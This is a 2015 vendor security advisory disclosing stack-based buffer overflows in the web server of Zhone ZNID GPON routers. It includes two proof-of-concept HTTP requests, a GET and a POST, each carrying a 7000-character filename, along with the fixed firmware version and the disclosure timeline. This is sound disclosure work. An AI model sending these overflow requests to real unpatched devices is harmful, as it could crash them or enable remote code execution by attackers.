Vantage Point Security Advisory 2015-003

Title: Multiple Remote Code Execution found in ZHONE
Vendor: Zhone
Vendor URL: http://www.zhone.com
Device Model: ZHONE ZNID GPON 2426A
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)
Versions affected: < S3.0.501
Severity: High
Vendor notified: Yes
Reported:
Public release:
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>

Summary:

ZHONE RGW is vulnerable to stack-based buffer overflow attacks due to the use of unsafe string functions without sufficient input validation in the httpd binary. Two exploitable conditions were discovered when requesting a large (7000) character filename ending in .cgi, .tst, .html, .cmd, .conf, .txt and .wl, in GET or POST requests. Vantage Point has developed working code execution exploits for these issues.

1. Stack Overflow via HTTP GET Request

GET /.cmd?AAAA……AAAA<7000 Characters> HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/zhnvlanadd.html
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Connection: keep-alive

2. Stack Overflow via HTTP POST Request

POST /.cgi HTTP/1.1
Host: 192.168.1.1
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/updatesettings.html
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Content-Length: 88438

AAAA……AAAA<7000 Characters>

Fix Information:

Upgrade to version S3.1.241

Timeline:

2015/04: Issues reported to Zhone
2015/06: Requested Update
2015/08: Requested Update
2015/09: Requested Update
2015/10: Confirm that all issues has been fixed

About Vantage Point Security:

Vantage Point is the leading provider for penetration testing and security advisory services in Singapore. Clients in the Financial, Banking and Telecommunications industries select Vantage Point Security based on technical competency and a proven track record to deliver significant and measurable improvements in their security posture.

https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg